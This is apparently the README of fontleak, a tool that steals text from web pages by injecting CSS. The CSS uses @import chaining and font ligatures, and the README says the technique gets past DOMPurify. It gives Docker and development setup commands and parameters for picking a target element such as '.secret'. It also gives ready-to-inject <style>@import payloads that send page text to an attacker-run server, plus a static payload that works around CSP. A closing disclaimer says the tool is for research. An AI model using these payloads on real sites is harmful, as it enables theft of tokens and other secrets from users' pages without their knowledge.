Fast exfiltration of text using CSS and Ligatures. Works on Chrome, Firefox and Safari and is allowed by default by DOMPurify.
fontleak_demo.mp4
You can quickly get started with fontleak using Docker:
# Run the container
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latestSet the BASE_URL environment variable to the public URL where the site will be accessible.
This will only setup a basic HTTP/1.1 server. Use a reverse proxy like Caddy for TLS and HTTP/2 or HTTP/3.
The fontleak URL accepts several parameters to customize its behavior:
selector: CSS selector that matches exactly one element in the target page. Default:SELECTORenv var orscript:first-of-typeparent: Parent element of the target element (options:bodyorhead). Default:PARENTenv var orbodyalphabet: Characters to include in the font. Default:ALPHABETenv var orstring.printableminus whitespace (except space)timeout: Timeout for @import url(). Default:TIMEOUTenv var or10secondsstrip: Strip unknown characters from the leak. Default:truelength: Length of the leak. Default:100prefix: Prefix to remove (or to start counter from for Safari) for the dynamic leak. Default: empty string
Basic usage:
<style>@import url("http://localhost:4242/");</style>Custom selector, parent, and alphabet:
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
⚠️ Warning: The CSS selector must match exactly one element in the target page. If the selector matches multiple elements or no elements, fontleak will fail to exfiltrate the text.
You can configure fontleak using these environment variables:
BASE_URL: Base URL where the application is accessible (e.g., http://localhost:4242)FASTAPI_LOGGING: Enable or disable FastAPI logging. Default: "true"SELECTOR: CSS selector for target element. Default: "script:first-of-type"PARENT: Parent element (body or head). Default: "body"ALPHABET: Characters to include in the font. Default: string.printable minus whitespaceTIMEOUT: Timeout for @import url(). Default: 10LENGTH: Length of the payload for static leaks. Default: 100
By default, fontleak will use sequential import chaining to efficiently exfiltrate text. But it's not always the case that the target page CSP allows this.
In this case, you can use the /static endpoint to generate a static CSS payload that only requires lax CSP for img-src and font-src.
wget http://localhost:4242/static -O payload.cssWhich takes these additional parameters:
length: Length of the payload. Default:LENGTHenv var or100browser: The browser to target. Only Chrome and Firefox are supported for now. Default:chrome
Instead of unique ids, fontleak will group requests by (IP, User-Agent, Referer) pairs.
To set up a development environment:
# Clone the repository
git clone https://github.com/adrgs/fontleak.git
cd fontleak
# Install dependencies using uv
uv sync
# Install svg2ttf globally for font generation
npm install -g svg2ttf
# Run fontleak
uv run uvicorn fontleak.main:app --host 0.0.0.0 --port 4242fontleak is a research project intended for educational and security testing purposes only. The author is not responsible for any misuse of this software. Users are solely responsible for ensuring they have proper authorization before using this tool in any environment. Use at your own risk.